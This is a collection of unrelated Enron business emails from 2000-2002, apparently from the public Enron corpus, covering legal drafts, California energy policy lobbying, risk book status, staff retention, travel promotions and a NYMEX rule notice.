opportunity to comment and it has been amended several times.

I would like you to take a look at it and add your comments and changes.  You 
are always the key to a good memo and your changes are vital to making this a 
first rate memo.  Also Freight is in blue and i don't know how to take it 
back to normal.

I would like this out on Tuesday evening.  After i get your version back, go 
ahead and make your changes directly on the memo. Please send to Jeff for 
final review and one more pass thru the business units on Monday.

Thanks,
m

Attached please find a Rule 11 Agreement in  the above-referenced matter.
 
Deborah P. Powers
Secretary to Linda Broocks
(713) 844-3022
 
 - Glover.ltr.013.doc 

Mary Cook will be out of the office for the rest of the afternoon due to a family emergency.  She will return on Monday, August 27, 2001.  Thanks.

Esmeralda Gonzalez
1400 Smith Street, EB3815
e-mail: esmeralda.gonzalez@enron.com
Phone: 713-345-7621
Fax: 713-646-3393

Just a reminder about the monthly report - Please update and give to Dina 
sometime today if at all possible.  We'll aim for more lead time next month.

Thanks!

Discuss ideas and allocate some responsibilities prior to filming
Set a date for early next week to do the "shoot"  - Monday or Tuesday

Maybe we can have Schwartz interview them on the next day (Friday) so that we 
give him one shot at them with some ability to control the questions. Let me 
know what you think.

	SHoward@milbank.com
	06/13/2000 06:01 PM
		 
		 To: Richard.B.Sanders@enron.com
		 cc: linda.guinn@ect.enron.com
		 Subject: McConville and Barth Interviews

Richard: 

Roland and I are currently scheduled to arrive in Houston (i.e., the airport) 
next week at 12:30pm on Wednesday and depart at 5:30pm on Thursday.? There 
are lots of flights, so we can certainly come sooner and leave later if that 
is desirable.

I talked to Mike Swartz.? He does understand that he is to ask only questions 
designed to prepare him for depostions of Busse and Nolan of Steel 
Dynamics.?? I told him that he might be asking questions by himself, or he 
might be in with other lawyers.? (He seemed surprised that other lawyers 
might be there.)

If we can work it out, I think it would be best to have Kevin and Brian 
interviewed by Swartz separately rather than with other lawyers.? If Mike is 
in the large group interviews, I fear that we will not, as a practical 
matter, be able to draw the kinds of lines that we would like to.? For 
example, I would just as soon not have Farallon's counsel present when Kevin 
or Brian addresses the questions in Robins, Kaplan's letter of 6/13 that I 
just received.

Steve 

----- Forwarded by Mark Taylor/HOU/ECT on 05/19/2000 01:51 PM -----

	mukunah@winstim.com
	05/19/2000 01:48 PM
		 
		 To: clint.freeland@enron.com, mark.taylor@enron.com, 
gareth.bahlmann@enron.com, kimberly.blue@ubsw.com, scott.whitney@ubsw.com, 
ryan.donovan@ubsw.com, scott.giese@ubsw.com, timothy.steele@ubsw.com, 
michael.davidson@ubsw.com, william.sullivan@ubsw.com, john.magovern@ubsw.com, 
rastin@velaw.com, mspradling@velaw.com, mshiang@bankofny.com
		 cc: ecklandt@winstim.com, delaneyj@winstim.com, chudyj@winstim.com, 
earlyhud@winstim.com, kurzw@winstim.com
		 Subject: Enron PATS 2000-1

 In connection with the proposed offering of Enron's PATS, we're attaching a
Cover Letter, the Preliminary Offering Circular and the Closing Document List.

Hazel Mukuna

(See attached file: Cover Letter.doc)    (See attached file: Preliminary
Offering Circular.doc)        (See attached file: Closing Document List.doc)

______________________________________
This message, together with any attachments, is intended only for the
use of the individual or entity to which it is addressed and may contain
information that is legally privileged, confidential and exempt from
disclosure.  If you are not the intended recipient, you are hereby
notified that any dissemination, distribution, or copying of this
message,or any attachment, is strictly prohibited.  If you have received
this message in error, please notify the original sender (or the WSPR
Help Desk) immediately by telephone (212-858-1000) or by return
E-mail and delete the message, along with any attachments, from
your computer.  Thank you.

 - Cover Letter.doc
 - Preliminary Offering Circular.doc
 - Closing Document List.doc

Please respond to 
We have re-drafted various sections of this to incorporate Steve's comments.
So I think we are finally there.

What's next??

Seabron

This e-mail, and any attachments thereto, is intended only for use by the
addressee(s) named herein and may contain legally privileged and/or
confidential information.  If you are not the intended recipient of this
e-mail, you are hereby notified that any dissemination, distribution or
copying of this e-mail, and any attachments thereto, is strictly
prohibited.
If you have received this e-mail in error, please immediately notify me at
(617) 354-0060 and permanently delete the original and any copy of any
e-mail and any printout thereof.

Seabron Adamson
Frontier Economics Inc
Two Brattle Square
Cambridge, MA 02138 USA
Ph:  (617) 354-0060
Fax: (617) 354-0640
seabron.adamson@frontier-economics.com

www.frontier-economics.com

 - 01-07-07-SA Draft policy paper - revised.doc 

Power December books are final.  This does not mean that every termination has been accounted for in the final Dec. 31 calculation.  We eventually hit a stopping point for terminations and will catch up the remainder of terminations in 'after December' books.

Also, power books are set up as you have defined below.

Stacey

From: 	Koerselman, Lisa  
Sent:	Tuesday, January 29, 2002 10:35 AM
Subject:	FW: risk books for December

Do y'all know when the books will be final for December - I had hopes of being able to utilize the people going to UBS, so if you can give me a status I would appreciate it.

thanks
Lisa

Sent:	Tuesday, January 22, 2002 9:29 AM
Subject:	risk books for December

I am following up to see where we stand on the risk books for December.  My understanding is that we will have at least 3 categories:  legally terminated, not performing but not terminated, and still performing.

The deals that are still performing should have liquidations, etc. "as normal" - the remainder will be "frozen" until an amount is settled with the counterparty.

I am inheriting the MTM group and am trying to get as much done before we split with the people going to NETCO, so if you can give me the status and ETA if the books are not done I would greatly appreciate it.

thanks
Lisa

Lisa Koerselman
x-53128

Scott,

Thanks again for the customer lunch in Dallas.  

Please find below an e-mail that describes our current issues with Javasoft.  It was written by Jay Webb, Vice President of e-Commerce.  Jay is responsible for all the technology associated with Enron's e-commerce activities, including EnronOnline.  

I would continue to have your personnel work directly with Jay on this.  Jay is at 713-853-5863.

Thanks.

Greg Piper
COO, Enron Net Works
713-853-6635

From: 	Webb, Jay  
Sent:	Friday, June 08, 2001 9:57 AM
To:	Piper, Greg
Subject:	javasoft

Scott,

Enron appreciates the time Sun has devoted to us over the recent weeks.  We have enjoyed meeting with your personnel and yourself to share with you some of Enron's needs and concerns.

We embrace the notion of standards-based development.  It holds the promise to allow us to focus development resources on delivering business functionality and not on developing middleware and containers or dealing with enterprise integration.  However, due to what we believe to be inherent deficiencies in the J2EE specification, we have gradually reduced our use of these technologies.  In fact, EnronOnline's most critical systems were developed outside of J2EE.  

The problem areas are performance and enterprise integration.  Specifically, the specification does not allow for sufficient tuning.  The result is that many of the "features" cause significant performance penalties, even when those features are not relevant to the application at hand.  Additionally, as B2B markets evolve, there is a greater need for integration between multiple platforms.  This need is not addressed at all.

It is our perception that the J2EE specification is influenced too heavily by vendor input.  We believe that large end-user customers should have an equal voice in the evolution of the specification.  Such input would be particularly valuable since vendor competition issues would not taint it.  We would welcome an opportunity to participate in such a committee.

The message that you sent was undeliverable to the following:
	tybettis@pgn.com (user not found)
	suecowan@pgn.com (user not found)
	rogerwende@pgn.com (user not found)
	matthewrichard@pgn.com (user not found)
	leahoneycutt@pgn.com (user not found)

Possibly truncated original message follows:

From:  </O=ENRON/OU=NA/CN=RECIPIENTS/CN=LGANG>
To: DONNA (E-mail) <donna_garcia@pgn.com>, LEA (E-mail) <leahoneycutt@pgn.com>, Matt (E-mail) <matthewrichard@pgn.com>, Roger (E-mail) <rogerwende@pgn.com>, Sue (E-mail) <suecowan@pgn.com>, Ty (E-mail) <tybettis@pgn.com>
Date: Friday, March 15, 2002 5:49:47 GMT
Subject: 

One correction:
Jim Hughes should be included on the Retention-EGS list, rather than the Divest list.

From: 	Smith, Gary  
Sent:	Friday, November 16, 2001 5:10 PM
To:	Brown, Aaron (Executive Comp)
Subject:	Retention

The attached document titled "Retention-EGS"  is the list of essential employees that Stan Horton has approved for inclusion in a retention program.  

The document titled "Divest" includes EGS employees that currently have retention or divestiture agreements in place and are not in need of additonal consideration.  I understand that there are additional PGE employees with agreements that I have not listed and that you have access to those names.

Additional names of EGS/International employees will be coming from Scott Gilchrist after he gets with Jim Hughes this afternoon.

I'd tell her that we have actual tickets for games on Mar 9 (Astros) and Mar 13 (Indians), but otherwise just plan to buy the day of the game.  We just pulled schedules from the web.

My feeling is that once they affirmatively decide they are going to FL, you should say that I rented a house and that you are going to come over and stay with us for a few days.  I know this might push us to the point of her asking whether they can stay with us .... but I'm afraid the kids will spill the beans.

Company: 002909     Arng: 39229-09061     Eff Date: 2001-10-27

                        ----- Receipt -----   ----- Delivery -----
                           Quantity  Cut CD      Quantity  Cut CD

Nominated                         0                53,018
Working                           0                53,018
Capacity Allocation               0                53,018
Confirmed                         0                53,017  CBL

Here are  the files from the Broadmoor.  Please call me if you have any 
questions.

Thought this might be useful for you to have as well. I highlighted the deal 
numbers that concern your desk in red. I know these are really nitpicky 
errors, but it might be worth reminding these guys of the correct 
counterparty names.

Kate
---------------------- Forwarded by Kate Symes/PDX/ECT on 01/30/2001 03:18 PM 

01/30/2001 09:14 AM
To: Joe Errigo/Corp/Enron@Enron, Geir Solberg/PDX/ECT@ECT, Juan 
Hernandez/Corp/Enron@ENRON, Leaf Harasin/PDX/ECT@ECT, Ryan 
Slinger/PDX/ECT@ECT, David V Porter/PDX/ECT@ECT
cc: Kate Symes/PDX/ECT@ECT 

Subject: Incorrect Counterparties

I have changed the following deals b/c the selected CPs are incorrect.  Also, 
please remember not to pick CPs in brackets as they are inactive.  Thank you 
for your help.

507901 should be Allegheny Power, Transmission Business Unit
507842 should be Dynegy Power Marketing, Inc.
506767 should be NRG Power Marketing, Inc.
507900 should be PJM Interconnection LLC
506618 should beTransalta Energy Marketing (US) Inc.
506727 should beTransalta Energy Marketing (US) Inc.
506747 should beTransalta Energy Marketing (US) Inc. 

Hi there,

I'm forwarding a draft EPC contract for your review.  This form of contract 
assumes that the equipment will be procurred by the Owner, with the 
understanding that we have not resolved the issue of the timing of the 
procurement of the equipment, and  how it will be procurred.

This is intended to be a discussion draft, and is subject to further Enron 
review and comment.  

Thanks,

Kay

Based on earlier conversations, I have identified the following business 
methods that may be novel from a patent point of view:

1.   our site is offering "prime" paper rather than seconds or ends
2.   credit risk is managed by the site (credit intermediation) without cost 
to customers
3.   customers can access financial derivatives on paper to manage price risk 
on physical paper products
4.   customers have access to financial derivatives to manage price risk on 
prime offerings

Please give me your comments on this so we plan our strategy.

Mark Haedicke

Any GCP adjustments will be highlighted in blue.

Best Rgds.

Samuel x3-9890 (GCP Team)
Enron Net Works _ Global Data Management

From: Walter Guidroz/ENRON@enronXgate on 04/17/2001 04:50 PM
cc:  
Subject: EOL approvals, 04-17-01

I'm always ready

Sent:	Thursday, January 31, 2002 12:45 PM
To:	Rybarski, Amanda

i know what a perfect day, ready

From: 	Rybarski, Amanda  
Sent:	Thursday, January 31, 2002 12:44 PM

I'm not so sore anymore, it's only certain days now, not all the time.  It sure looks like it's raining outside (hint-hint)

Sent:	Thursday, January 31, 2002 12:43 PM

im a little hung over, i was here for a little while yesterday, are you still sore

Sent:	Thursday, January 31, 2002 12:42 PM

I think you need to too.  I am feeling okay, except for this headache that is creeping up.  How are you today?  Were you here yesterday?

Sent:	Thursday, January 31, 2002 12:41 PM

thats a very good point, i need to work that out, how are you feeling

Sent:	Thursday, January 31, 2002 12:40 PM

I know, but if you were my boss, then I would be able to 

you cant unfortunately

let's go

Sent:	Thursday, January 31, 2002 12:39 PM

now

and I'm ready to anytime

you can anyway

Sent:	Thursday, January 31, 2002 12:37 PM

I think so, I would treat you better than she can

Sent:	Thursday, January 31, 2002 12:36 PM

we will have to work on that in the future

No, I'm actually pretty happy about the deal.  Not as happy as I would be if I were working for you. 

Sent:	Thursday, January 31, 2002 12:35 PM

thats not bad

Yeah, right.  I wish! I am working for Chris still and Scott Neal.

Sent:	Thursday, January 31, 2002 12:34 PM

perfect, are you working with me

Sent:	Thursday, January 31, 2002 12:32 PM
Subject:	

We're going to be sitting kina close after the move. 

Thanks for the commnets, Lynn.

I've faxed you a copy of "Plan B."

I'll let others chime in, but ideally it seemsthat we'd want to start the 
meetings next week and have at least the rough outline of a proposed, 
comprehensive solution to put on the table for discussion.  But at a minimum 
we'd want to get "the process" nailed down by very early next week.

Best,
Jeff

	Lynn.A.Lednicky@dynegy.com
	05/15/2001 07:34 AM
		 
		 To: Jeff.Dasovich@enron.com
		 cc: sryan@aesc.com, hoffman@blackstone.com, bbailey@duke-energy.com, 
john.harrison@elpaso.com, rachael.king@elpaso.com, clark.smith@elpaso.com, 
skean@enron.com, tom.allen@mirant.com, sonnet.edmonds@mirant.com, 
randy.harrison@mirant.com, alex.goldberg@williams.com, 
Maureen.McVicker@enron.com
		 Subject: Re: Summary of Today's Call/Agenda for Tomorrow's Call

Jeff,

Sorry I was unable to make the call yesterday.  Thanks for the summary.  My
comments and questions are indicated below.

Please fax a copy of Plan B to be at 713 767 6677.

     You suggest starting the "process" in Sacramento next week.  I'm not
     sure exactly what this means.  Are we saying we will have a proposal
     or that we will be advocating a process/forum to get all the right
     parties at the table?
     Did we set a time for the next call on Friday?
     With regard to the Issues list, here are a few extra items:
          need to make clear that real price signals should be sent to all
          sectors (not just those that wouldn't vote for Davis anyway) as
          soon as possible
          I cannot imagine a situation in which the IOUs are returned to
          financial stability within 3-6 months; my guess is that it will
          be at least a year
          if IOUs are returned to the procurement role, we need to make
          sure that they have the appropriate risk management tools
          (ability to enter forward contracts, options, etc.)
          if IOUs are returned to the procurement role, we also need to
          have assurances that the situation we have today won't happen
          again;  for example, if the state assigns the CDWR contracts to
          the IOUs and three years from now the market price is less than
          the contract price, what assurances does anyone have that the PUC
          will not try to make the IOUs absorb the difference
          If we want to go to a core/non-core approach, why do we need to
          wait 18-24 months;  it seems to me that we could start that
          process now
          As for legal claims and investigations, we need to make clear
          that we want to resolve all state and federal claims;  the civil
          claims present a different set of challenges for resolution
          as for discounts on receivables, I'm not ready to commit one way
          or another; however, if there are discounts they must apply to
          all market participants - not just the ones that Davis can get to
          the table.

Lynn

Jeff.Dasovich@enron.com on 05/14/2001 08:47:31 PM

To:   sryan@aesc.com, hoffman@blackstone.com, bbailey@duke-energy.com,
      Lynn.A.Lednicky@Dynegy.com, john.harrison@elpaso.com,
      rachael.king@elpaso.com, clark.smith@elpaso.com, skean@enron.com,
      tom.allen@mirant.com, sonnet.edmonds@mirant.com,
      randy.harrison@mirant.com, alex.goldberg@williams.com
cc:   Maureen.McVicker@enron.com

Subject:  Summary of Today's Call/Agenda for Tomorrow's Call

n order to keep everyone in the loop, the folks on today's call wanted to
send out a brief summary of the call for the benefit of those who couldn't
make it.  Apologies for any omissions, inaccuracies, etc.  Others who were
on the call please chime in if I've gotten anything wrong, or missed
anything.

Best,
Jeff

SUMMARY
   Enron, Duke, El Paso and Williams were on the call, as was Michael
   Hoffman of the Blackstone Group (the Governor's financial advisors).
   On the subject of how the group would organize itself, it was agreed
   that the calls would be open to anyone who wanted to participate.
   A smaller group consisting of Duke, El Paso, Enron, and Williams would
   take the lead on walking the halls of Sacramento, meeting with policy
   makers, and advocating whatever plan the group develops.
   Folks agreed that achieving a comprehesive solution requires a tangible
   process; that is, the principals need to get in a room, face to face,
   for however long it takes to work out a resolution.
   It was agreed that the process should start no later than the beginning
   of next week, and that it should take place in Sacramento.
   It was decided that the Legislature and the Attorney General needed to
   be brought into the process as soon as possible, i.e., next week.
   There was some discussion regarding the release today of "Plan B."  Plan
   B is a plan proposed by Democratic and Republican legislators as an
   alternative to the MOU that the Governor struck with Edison.  After that
   call I received a copy of "Plan B."  If you'd like a copy please send me
   your fax number.
   Folks on the call agreed to have the next "supplier-only" call-in
   meeting on Friday.
   Finally, Michael Hoffman said that they are hoping to have a "ratings
   agency level" presentation prepared by the end of the week.  The goal of
   the presentation is to reassure capital markets that the bonds the state
   seeks to issue are solidly backed by retail rates.

The Agenda for Tomorrow's Call with the Governor's Staff
Item #1:       The Credit Issue
   Michael Hoffman said that the Governor's office wants to start
   tomorrow's meeting discussing the creditworthiness issue.
   Hoffman said that the Governor's folks are hoping to have completed by
   the start of tomorrow's meeting a draft of an agreement between the
   California PUC and CDWR.  The agreement is designed to ensure that DWR
   gets paid for power services delivered.
   If the draft is ready, they'd like to discuss on the call tomorrow.

Item #2:       Identify the Components of a Comprehensive Solution.
   It was agreed that our group should put on the table at tomorrow's
   meeting the universe of issues that need to be included in a
   comprehensive solution.
   Enron was asked to take a first stab at what those components are.  The
   following is a brief outline, which is not intended to be definitive,
   but a starting point for discussion.
     Utility creditworthiness
        retail rates must reflect costs
     Increase supply
        streamline and otherwise reform the siting process
     Decrease demand
        establish real-time pricing
        implement demand buy-down and other conservation programs
     Create a real market
        Remove the State from the power-buying business as soon as possible
        (e.g., once new rates are in place and utilities are returned to
        creditworthiness; approximately 3-6 months)
        Return the procurement role to the utilities
        Reinstate Direct Access immediately for all customers
        Within 18-24 months, create a "core/noncore" market structure for
        electricity, similar to California's market structure for natural
        gas
     Keep the industry in the hands of the private sector
        Reject proposals calling on the State to take over transmission,
        generation, etc.
     Resolve outstanding legal claims, investigations, etc.
        Resolution requires certainty and prompt payment (understanding
        that discounts on receivables is on the table for discussion)

Glenn Thomas was the chief guy in the Gov office during PECO but was relatively quiet.  He is now the Chair of the PaPUC.  He will probably just discuss how wonderful a job PA is doing.  I don't think that he'll want to pick on Calif.  If you want to talk with him prior to the meeting, I can give him a call or Steve Montovano can arrange something.

Jim

From: 	Dasovich, Jeff  
Sent:	Friday, September 28, 2001 11:20 AM
To:	Landwehr, Susan M.
Cc:	Kaufman, Paul; Steffes, James D.; Shapiro, Richard
Subject:	RE: Participation in Roundtable on Lessons Learned in California on October 4th

Did governor Jessie eliminate the role in Minnesota?  I believe that it's the equivalent of a state historian.  Thanks for the feedback.

Best,
Jeff

From: 	Landwehr, Susan M.  
Sent:	Thursday, September 27, 2001 9:21 PM
To:	Dasovich, Jeff

Jeff--so what is a state librarian?  Must be a west coast kind of specialty!!

With regard to Glen Thomas, I believe that he is the newly appointed chair who was previously Governor Tom Ridge's policy guy in the governor's office. I think he is pretty young (early thirties) and that he still has strong ties in that office and should be vocal on markets working and political leadership (the right kind!) being neccesary.  Steffes might be able to give you more insight, but if my recollection is right, he wasn't involved in the early PECO fights--I think he came on the scene a little later. 
Sent:	Thursday, September 27, 2001 7:12 PM
To:	Kean, Steven J.; Shapiro, Richard; Steffes, James D.; Robertson, Linda; Landwehr, Susan M.; Denne, Karen; Mara, Susan; Kaufman, Paul; Nord, Sue; Palmer, Mark A. (PR); Guerrero, Janel
Subject:	Participation in Roundtable on Lessons Learned in California on October 4th

On October 4th, I'll be trying to fill Rob Bradley's rather large shoes at the Cal State University Center for California Studies' 13th annual envisioning California conference, "Our Year of Disconnect:  The Politics of Power in California."

I'll be participating in a Roundtable at the plenary session entitled: "Lessons Learned, Unlearned & To Be Learned:  A Roundtable on California's Utility Deregulation."

The Roundtable will be moderated by the State Librarian, Kevin Starr.  The other roundtable-ists include:

Chuck Cicchetti (Edison plant?  Anyone know what he's up to these days?)
Bob Foster--Edison
Nettie Hoge--head of TURN
Glen Thomas--Chair of the Pennsylvania PUC (any info on Chair Thomas is appreciated)
State Senator Debra Bowen
David Freeman--Self-appointed emporer
Dr. Joseph Pratt--History prof., University of Houston (any info on the professor is also appreciated)

Each of us will have two minutes to open and then Dr. Starr will moderate the ensuing mud-slinging.

Attached are some draft talking points that I threw together for your review.  All comments, suggestions, guffaws, etc. are welcome and appreciated.

Best,
Jeff

 << File: CSU Rountable draft talking points 0927.doc >> 

DELTA FAN FARES FOR FEBRUARY 3 - FEBRUARY 6, 2001

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Before you start packing, remember that you'll need your SkyMiles number, 
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Purchase a Fan Fare and support your favorite basketball team on the road 
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 -- Charlotte, NC (CLT) Phoenix, AZ (PHX) - $178

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 -- Seattle, WA (SEA) Salt Lake City, UT (SLC) - $128

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The All-Star Game is in Denver this Sunday. Come see the league's best 
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 -- Idaho Falls, ID (IDA) Denver, CO (DEN) - $118

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Action moves to the Royal Caribbean Classic at Crandon Park Golf Club in Key 
Biscayne, Florida. Enjoy some golf while spending the weekend in the south 
Florida sun.

 -- Tallahassee, FL (TLH) Miami, FL (MIA) - $118

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Fan Fares gives you the chance to spend some time in a city you might not 
otherwise visit. This weekend, enjoy yourself in Milwaukee.

TRAVEL TO MILWAUKEE

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offers plenty of art and cultural events, nightlife, and beautiful lakeside 
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In addition to the professional basketball action on Saturday night (Indiana 
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planning started.

THE HAGGERTY MUSEUM OF ART
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the museum's collection includes works by Dali, Chagall and Man Ray. You'll 
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This museum of human and natural history is one of the nation's best and 
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enjoy the engaging exhibits. You'll find 150,000 square feet of exhibit 
space, through which you'll be able to visit all of the world's continents. 
Find the museum and The Humphrey IMAX Dome Theater at 800 West Wells Street.

 -- Atlanta, GA (ATL) Milwaukee, WI (MKE) - $128

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 -- Cincinnati, OH (CVG) Milwaukee, WI (MKE) - $98

 -- Huntsville, AL (HSV) Milwaukee, WI (MKE) - $128

 -- Jackson, MS (JAN) Milwaukee, WI (MKE) - $138

 -- Jacksonville, FL (JAX) Milwaukee, WI (MKE) - $138

 -- Lexington, KY (LEX) Milwaukee, WI (MKE) - $108

 -- Little Rock, AR (LIT) Milwaukee, WI (MKE) - $128

 -- Macon, GA (MCN) Milwaukee, WI (MKE) - $138

 -- Montgomery, AL (MGM) Milwaukee, WI (MKE) - $138

 -- Nashville, TN (BNA) Milwaukee, WI (MKE) - $118

 -- New York-La Guardia, NY (LGA) Milwaukee, WI (MKE) - $138

 -- Pensacola, FL (PNS) Milwaukee, WI (MKE) - $138

 -- Washington-National, DC (DCA) Milwaukee, WI (MKE) - $128

YOUR WEEKEND STARTS HERE!
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Connie:

As you begin to tie down the assumptions on the various models, I would like 
to conduct "model reviews" like we used to do in EI.  A single meeting where 
the commercial people responsible for the business and relevant functional 
people all gather with you and I (I would also suggest Rick Buy attend) to 
review the model and the key assumptions.  The goal is less of a "police" 
function and more of an education process to increase understanding of the 
business.

Also, I think I am going to want someone dedicated to reviewing the work on 
the Dabhol model as we consider various renegotiation scenarios.  The 
decision making is too important to not have oversight.

Lastly, have you reviewed the modeling (both in ESA and at RAC) done on 
Cuiaba in connection with the recent board presentation?

Jim

I received a call from a permit engineer with the Arizona Dept. of 
Environmental Quality (ADEQ) concerning the issue of notification of 
mechanical activities at C/S 2  Flagstaff and a mandatory 7 day wating period 
for agency review and approval.   Due to the urgency of the C/S 2 work being 
performed, I had written a notification to the agency friday evening 
requesting approval to initiate the activities detailed in the scope of work 
which was included with the letter.  On Monday, the engineer called and said 
that he had read the letter and had no problems with the activity proceeding 
at the C/S.  After we had discussed this issue at some length, I posed the 
question to him of whether it was necessary to notify the agency of 
mechanical and maintenace activities which  will not impact or change a 
combustion units throughput, fuel use, emissions, horsepower, or cause a 
change in design.  After some discussions I informed him that Transwestern 
will probably inundate the agency with notification letters, he stated that 
as long as the engines operating parameters would not change, ( horsepower, 
emissions, throughput, fuel use etc), and the burden of responsibility will 
rest on Transwestern to ensure that no permit conditions are violated, he 
stated that we may proceed with these types of activities in Arizona without 
any notification to the agency.   

The only hitch being, that when Transwestern does a major mechanical 
activity, which would cost more than  25-30% of the cost of replacing a unit, 
that we provide them a courtesy notification.  I told them we would apprise 
them of such an activity.....

Go ahead without the gas, unless you can get into my American Express account 
and find out what those numbers are.  Thanks a million.

Best,
Jeff

	Joseph Alamo
	06/25/2001 07:10 PM
		 
		 To: Jeff Dasovich/NA/Enron
		 cc: 
		 Subject: Expediting Your Expense Report

Jeff - 

FYI:  due to a change [again] in the system for Expense Reporting, *must* 
have submitted your
current Report by Wednesday, the 27th.  Otherwise, will have to start over in 
the "new" system, however that 
will be unavailable until Monday, July 2nd ...or so I understand.

Except for whatever you incurred today, I'm current with your receipts 
*except*
whatever you spent on gas with your last (6/18 - 6/21) rental car (you noted 
it but neither indicated amount(s)
nor supplied receipts!).

Thanks,

Joseph

---------------------- Forwarded by Joseph Alamo/NA/Enron on 06/25/2001 05:13 
   
	From:  Integrated Solutions Center                           06/22/2001 03:30 
PM
	
To: All XMS Users
cc:  

Subject: Reminder to All XMS Users - Upgrade Information - Please Read!!

      Concur Expense (XMS) Upgrade!

With the upgrade of Concur Expense going live on Monday, July 2, this is a 
reminder to have all of your open expense reports 
submitted and approved in the current XMS system by this Wednesday, June 27.  

Logon instructions for the new Concur Expense system will be delivered via 
email to everyone on Friday, June 29th.

To review the Transition Schedule, please click on the following link:   
http://isc.enron.com/site/XMSchange.htm

If you have any other questions about the new upgrade, please contact the ISC 
Call Center at 713-345-4727.

Notice # 01-156
May 9, 2001

TO:
All NYMEX Members and Member Firms

FROM:
Neal L. Wolkoff, Executive Vice President

RE:
NYMEX Post-Close Trading Session Rules

DATE:
May 8, 2001
=3D=3D=3D=3D=3D=3D=3D=3D=3D

This Notice advises Members and Member Firms of changes to the two post-clo=
se=20
session rules applicable to the NYMEX Division.

! As a result of amendments to both rules, the post-close sessions generall=
y=20
offered Monday-Thursday will be the same as the Friday sessions with two=20
exceptions.

! Monday-Thursday. These sessions will start at 3:25 p.m. and will be two=
=20
minutes long.

! Fridays. These sessions will start at 3:30 p.m. and will be five minutes=
=20
long.

End of Week Post-Close Trading Session (Rule 6.57A)

As a reminder and as a follow-up to a Notice distributed last week, please =
be=20
advised that beginning on Friday, May 11, 2001, a number of amendments to=
=20
NYMEX Rule 6.57A, the NYMEX End of Week post-close trading session rule, wi=
ll=20
become effective. The new version of this rule is attached below.

For Friday post-close sessions (and for post-close sessions the day before =
a=20
mid-week Exchange holiday) the following changes will be in effect:

(1) Eligible contract months will be expanded from the first four to the=20
first 12 consecutive listed contract months.

(2) The sessions now will be 5 minutes in duration.

(3) The trading range for these sessions will be expanded by adding the=20
following ticks above (below) the
daily high (low) for the applicable contract month (provided that this=20
expanded trading range does not violate the maximum permissible price=20
fluctuation limits then in effect):

Crude Oil  20 ticks
Heating Oil   50 ticks
Unleaded Gas   50 ticks
Natural Gas  50 ticks

Monday-Thursday Post-Close Trading Sessions (Rule 6.57)

In addition, please be advised that beginning on Monday, May 14, 2001, a=20
number of amendments to NYMEX Rule 6.57, the Exchange=01,s post-close tradi=
ng=20
session rule for days other than Fridays, will become effective.  The new=
=20
version of this rule is attached below.

(2) The trading range for these sessions will be expanded by adding the=20

(3) Customer participation will be expanded to the same extent as is=20
permitted for the End of Week Post Close Session. Please note that any orde=
r=20
submitted during the RTH session, including but not limited to resting orde=
rs=20
such as stop orders, limit orders and good until cancelled (GTC) orders, wi=
ll=20
be deemed to have expired as of the end of RTH for purposes of this Session=
. =20
Accordingly, in the event that a market participant with such an expired=20
order seeks to participate in the Session, a new order must be submitted.

(4) As a consequence of the expanded trading range and customer=20
participation, trades done during this period will be price reported on PRS=
.

Finally, please be advised that, as a matter of practice, the Exchange does=
=20
not currently offer post-close trading sessions for Propane futures contrac=
ts.

If you have any questions concerning these changes, please contact George=
=20
Henderson, Vice President, NYMEX Floor Department, at (212) 299-2071; Rob=
=20
Stasi, Manager of Trading Floor Systems, NYMEX Floor Department, at (212)=
=20
299-2067, or Brian Regan, Senior Associate General Counsel, at (212) 299-22=
07.

NEW VERSIONS OF  NYMEX RULE 6.57(=01&POST-CLOSE TRADING SESSION=018) AND
NYMEX RULE 6.57A (=01&END OF WEEK TRADING SESSION=018)

Rule 6.57.  (=01&POST-CLOSE TRADING SESSION=018)

Fifteen (15) minutes after the close of trading in all futures contracts, o=
r=20
five (5) minutes after the closing range is established for all applicable=
=20
contract months other than contract months in the Sour Crude Oil futures=20
contract, whichever is later, trading shall resume for a period of two (2)=
=20
minutes (the ``Session'') in all energy futures contracts, subject to the=
=20
following conditions:

(A) Trading during the Session shall be limited to the first twelve listed=
=20
delivery months;

(B) Trades occurring during the Session for a particular contract month of =
a=20
futures contract shall be executed openly and competitively at a price with=
in=20
the daily trading range of the applicable contract month for that futures=
=20
contract and as further expanded above the daily high and below the daily l=
ow=20
only for the contracts listed below provided however that no such expanded=
=20
trading range may exceed the price fluctuation limits in effect for the=20
applicable contract as of the end of the RTH session:

Contract    Additional Ticks

Crude Oil    20 ticks
Natural Gas    50 ticks
Unleaded Gasoline   50 ticks
Heating Oil    50 ticks

(C) During the Session, Floor Members, Floor Brokers and their customers ma=
y=20
participate in the same manner as trading occurring during the regular RTH=
=20
session, except that any order submitted during the RTH session, including=
=20
but not limited to resting orders such as stop orders, limit orders and goo=
d=20
until cancelled (GTC) orders, will be deemed to have expired as of the end =
of=20
RTH for purposes of this Session.  Accordingly, in the event that a market=
=20
participant with such an expired order seeks to participate in the Session,=
 a=20
new order must be submitted.

(D) Prices for trades executed during the Session shall be reported on publ=
ic=20
ticker services as current market prices and trades executed during the=20
Session shall not be considered in determining any settlement price; and

(E) Floor Members executing trades during the Session shall mark a line=20
across their trading cards prior to the entry of a Session trade.

Rule 6.57A.  END OF WEEK TRADING SESSION

On the last trading day of the calendar week, and, in any week when an=20
Exchange holiday falls on a Tuesday, Wednesday or Thursday on the trading d=
ay=20
preceding such midweek Exchange holiday, there shall be no post-close tradi=
ng=20
session provided on the trading floor pursuant to Rule 6.57.  Instead, on=
=20
such dates, an end of week trading session (the =01&End of Week Session'') =
shall=20
commence on the trading floor pursuant to this rule and subsequent to the=
=20
close.  Except as otherwise provided by the President or the President=01,s=
=20
designee for a particular trade date, such End of Week Session shall commen=
ce=20
twenty (20) minutes after the close of trading in all futures contracts and=
=20
shall continue for a period of  five (5) minutes in all energy and metals=
=20
futures contracts, subject to the following conditions:

(A) Trading during the End of Week Session shall be limited to the first=20
twelve listed delivery months;

(B) Trades occurring during the End of Week Session for a particular contra=
ct=20
month of a futures contract shall be executed openly and competitively at a=
=20
price within the daily trading range of the applicable contract month for=
=20
that futures contract and as further expanded above the daily high and belo=
w=20
the daily low only for the contracts listed below provided however that no=
=20
such expanded trading range may exceed the price fluctuation limits in effe=
ct=20
for the applicable contract as of the end of the RTH session:

(C) During the End of Week Session, Floor Members, Floor Brokers and their=
=20
customers may participate in the same manner as trading occurring during th=
e=20
regular RTH session, except that any order submitted during the RTH session=
,=20
including but not limited to resting orders such as stop orders, limit orde=
rs=20
and good until cancelled (GTC) orders, will be deemed to have expired as of=
=20
the end of RTH for purposes of this End of Week Session.  Accordingly, in t=
he=20
event that a market participant with such an expired order seeks to=20
